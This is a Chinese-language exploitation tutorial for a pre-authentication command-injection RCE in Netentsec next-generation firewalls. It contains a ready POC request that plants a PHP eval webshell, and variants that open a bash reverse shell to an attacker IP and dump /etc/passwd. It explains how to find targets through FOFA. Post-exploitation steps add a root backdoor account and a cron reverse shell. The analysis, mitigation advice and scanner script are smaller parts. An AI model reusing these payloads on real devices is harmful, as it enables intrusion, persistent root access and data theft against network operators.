网康防火墙前台RCE及分析
字数 1337 2025-08-05 11:39:35
网康防火墙前台RCE漏洞分析与利用教学文档
漏洞概述
网康下一代防火墙(NGFW)是一款高性能应用层防火墙,用于网络威胁防护。该漏洞是一个前台远程代码执行(RCE)漏洞,危害性高,允许攻击者通过构造特定请求在目标系统上执行任意命令。
漏洞影响
- 影响产品:网康下一代防火墙(NGFW)
- 漏洞类型:命令注入导致的远程代码执行
- 危害等级:高危
- 影响版本:特定版本(具体版本需进一步确认)
- 识别特征:
app="网康科技-下一代防火墙"(可通过FOFA搜索)
漏洞利用
基本利用POC
POST /directdata/direct/router HTTP/1.1
Host: [目标IP]
Content-Type: application/json
{
"action": "SSLVPN_Resource",
"method": "deleteImage",
"data":[{
"data":["/var/www/html/b.txt;echo '<?php @eval($_POST[a]);?>'>/var/www/html/test.php"]
}],
"type": "rpc",
"tid": 17
}
利用说明
- 上述POC会在目标系统的
/var/www/html/目录下创建名为test.php的WebShell文件 - 文件内容为
<?php @eval($_POST[a]);?> - 成功执行后,可通过蚁剑等工具连接WebShell,密码为
a
变种利用
- 直接执行命令:
"data":["/var/www/html/b.txt;whoami>/var/www/html/result.txt"]
- 反弹Shell:
"data":["/var/www/html/b.txt;bash -i >& /dev/tcp/[攻击者IP]/[端口] 0>&1"]
- 多命令组合:
"data":["/var/www/html/b.txt;id;uname -a;cat /etc/passwd>/var/www/html/info.txt"]
漏洞分析
漏洞入口
漏洞位于/directdata/direct/router路由处,处理JSON格式的RPC请求。
代码执行流程
- 请求首先由
DirectController.php的routerAction方法处理 - 调用
Ext_Direct::run($this->getRequest())处理请求 - 根据
action参数(SSLVPN_Resource)实例化对应类 - 调用
method参数指定的方法(deleteImage) - 最终在
SSLVPN_Resource类的deleteImage方法中执行命令注入
关键漏洞代码
applications/Models/SSLVPN/Resource.php中的deleteImage方法:
public function deleteImage($params){
$basePath = '/var/www/html/';
$imgPath = $this->imagePath;
$params = $params->data;
$cmd = "cd $imgPath \n /bin/rm -rf ";
$existDefault=false;
foreach ($params as $img){
if($img=='default.png'){
$existDefault=true;
}else{
$cmd.=$img.' ';
}
}
Ns_debug_log($cmd,'x.log');
shell_exec($cmd);
// ...
}
漏洞成因
- 用户输入的
data参数未经任何过滤直接拼接到命令中 - 使用
shell_exec执行拼接后的命令 - 攻击者可通过分号
;分隔命令,实现命令注入
渗透测试步骤
1. 目标识别
使用FOFA搜索:
app="网康科技-下一代防火墙"
2. 漏洞验证
发送基本POC,检查是否创建了test.php文件:
http://[目标IP]/test.php
3. 信息收集
通过WebShell执行命令收集信息:
<?php system('id'); ?>
<?php system('uname -a'); ?>
<?php system('cat /etc/passwd'); ?>
4. 权限提升
检查当前用户权限和可能的提权路径:
<?php system('sudo -l'); ?>
<?php system('find / -perm -4000 -type f 2>/dev/null'); ?>
5. 持久化维持
创建后门账户或计划任务:
<?php system('echo "backdoor::0:0::/:/bin/bash" >> /etc/passwd'); ?>
<?php system('echo "* * * * * root bash -i >& /dev/tcp/[攻击者IP]/[端口] 0>&1" >> /etc/crontab'); ?>
防御措施
临时缓解方案
- 限制访问
/directdata/direct/router路径 - 监控系统日志中异常的
shell_exec调用 - 检查
/var/www/html/目录下可疑的PHP文件
长期修复方案
- 升级到官方最新版本
- 对用户输入进行严格过滤和验证
- 避免直接拼接用户输入到系统命令中
- 使用白名单方式限制可执行的操作
- 最小化Web服务运行权限
漏洞检测脚本示例
import requests
import sys
def check_vulnerability(target):
headers = {"Content-Type": "application/json"}
payload = {
"action": "SSLVPN_Resource",
"method": "deleteImage",
"data": [{
"data": ["/var/www/html/test.txt;echo 'VULNERABLE' > /var/www/html/vuln_check.txt"]
}],
"type": "rpc",
"tid": 17
}
try:
r = requests.post(f"{target}/directdata/direct/router", json=payload, headers=headers, timeout=10)
check = requests.get(f"{target}/vuln_check.txt", timeout=5)
if "VULNERABLE" in check.text:
print(f"[+] {target} 存在漏洞")
return True
else:
print(f"[-] {target} 不存在漏洞")
return False
except Exception as e:
print(f"[!] 检测{target}时出错: {str(e)}")
return False
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python check.py <target_url>")
sys.exit(1)
target = sys.argv[1].strip("/")
check_vulnerability(target)
总结
该漏洞展示了命令注入漏洞的典型特征:用户输入未经充分验证直接拼接到系统命令中。在安全开发中,应当:
- 永远不要信任用户输入
- 使用安全的API替代直接执行系统命令
- 实施最小权限原则
- 对输入实施严格的白名单验证
对于安全研究人员,此漏洞也展示了从POC到完整分析的过程,包括:
- 通过POC理解漏洞大致原理
- 通过系统命令进行信息收集
- 跟踪代码执行流程定位漏洞点
- 分析漏洞成因和利用方式